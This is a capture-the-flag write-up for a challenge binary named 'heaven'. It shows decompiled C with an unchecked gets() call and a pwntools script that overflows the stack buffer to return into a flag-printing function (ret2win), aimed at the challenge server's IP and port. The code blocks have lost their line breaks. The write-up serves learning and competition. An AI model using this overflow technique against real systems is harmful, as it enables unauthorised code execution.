We were given a binary.
```int heavens_secret(){  char v1; // [rsp+7h] [rbp-9h]  FILE *stream; // [rsp+8h] [rbp-8h]
  stream = fopen("flag.txt", "r");  do  {    v1 = fgetc(stream);    putchar(v1);  }  while ( v1 != -1 );  return fclose(stream);}
int __cdecl main(int argc, const char **argv, const char **envp){  char nptr[524]; // [rsp+0h] [rbp-210h] BYREF  int v5; // [rsp+20Ch] [rbp-4h]
  setvbuf(stdout, 0LL, 2, 0LL);  setvbuf(stderr, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  puts("Welcome to heaven!");  puts("what would you like to do here:");  printf(" 1. rest\n 2. have fun\n 3. relive a memory\n 4. get the flag\n>>");  gets(nptr);  v5 = atoi(nptr);  if ( nptr[0] == 52 )    return puts("what is this option?");  if ( nptr[0] <= 52 )  {    if ( nptr[0] == 51 )      return puts("wether it's a good one or a hurtful one we all want to relive a memory, so here you go.");    if ( nptr[0] <= 51 )    {      if ( nptr[0] == 49 )        return puts("you chose wisely, after all you have been through u deserve to rest");      if ( nptr[0] == 50 )        return puts("nice choice!!!. who doesnt want to have fun in their life ;)");    }  }  return puts("dude how did you even get here!?");}```
The program ask the user for input a data using the gets() function which doesn’t perform a boundary check, so it will cause a vulnerability called Buffer Overflow. Since there’s a function to read and print the content of the flag file (heavens_secret function), we can perform ROP to do ret2win (return to the heavens_secret function).
Solver:
```#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *from os import pathimport sys
# ==========================[ InformationDIR = path.dirname(path.abspath(__file__))EXECUTABLE = "/heaven"TARGET = DIR + EXECUTABLE HOST, PORT = "52.59.124.14", 10050REMOTE, LOCAL = False, False
# ==========================[ Toolself = ELF(TARGET)elfROP = ROP(elf)
# ==========================[ Configurationcontext.update(    arch=["i386", "amd64", "aarch64"][1],    endian="little",    os="linux",    log_level = ['debug', 'info', 'warn'][2],    terminal = ['tmux', 'split-window', '-h'],)
# ==========================[ Exploit
def exploit(io, libc=null):    if LOCAL==True:        #raw_input("Fire GDB!")        if len(sys.argv) > 1 and sys.argv[1] == "d":            choosen_gdb = [                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef                ][0]            cmd = choosen_gdb + """             """            gdb.attach(io, gdbscript=cmd)     p = b""    p += b"A"*(0x210) # sub rbp, 0x210    p += p64(0xdeadbeef) # rbp    p += p64(elf.symbols["heavens_secret"]) # rip
    io.sendline(p)    io.interactive()
if __name__ == "__main__":    io, libc = null, null
    if args.REMOTE:        REMOTE = True        io = remote(HOST, PORT)        # libc = ELF("___")     else:        LOCAL = True        io = process(            [TARGET, ],            env={            #     "LD_PRELOAD":DIR+"/___",            #     "LD_LIBRARY_PATH":DIR+"/___",            },        )        # libc = ELF("___")    exploit(io, libc)	```